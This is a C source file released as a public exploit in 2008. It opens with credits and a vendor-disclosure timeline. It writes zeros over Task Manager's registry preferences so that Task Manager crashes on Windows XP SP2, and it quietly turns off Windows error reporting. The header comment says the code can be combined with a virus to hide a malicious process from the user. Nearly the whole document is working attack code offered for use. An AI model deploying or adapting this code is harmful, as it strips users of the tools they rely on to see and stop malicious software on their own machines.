#include /* -=- Credits -=- Coded by: SkyOut Found by: Izee Date: March 2008 Website: http://core-security.net/ -=- Timeline -=- Discovering the bug: December 2006 Exploit coded: December 2006 [... over one year of waiting ...] Phone call with Microsoft Germany: February 2008 Email sent to Microsoft Germany: February 2008 [... several weeks of waiting ...] [... no reaction by Microsoft Germany ...] Public release: March 2008 -=- Description -=- By zeroing a REG_BINARY value in the Registry you can disable the Taskmanager of Windows XP SP2. It will crash on next startup. -=- Possible way of using it -=- Using this code together with a virus makes it possible to hide your process to the user (instead he knows about using the Registry in a right way and can repair it manually or has a backup for this key). -=- Tested on -=- Windows XP SP2 (works) Windows Vista SP0 (fixed) */ #pragma comment(lib, "advapi32.lib") void TaskmngrDisableBug(void) { HKEY hKey; DWORD dwData = 0; BYTE bBuff[] = {00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00}; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\TaskManager", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "Preferences", 0, REG_BINARY, bBuff, sizeof(bBuff)); RegCloseKey(hKey); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\PCHealth\\ErrorReporting", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "DoReport", 0, REG_DWORD, (LPBYTE)&dwData, sizeof(DWORD)); RegCloseKey(hKey); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { TaskmngrDisableBug(); }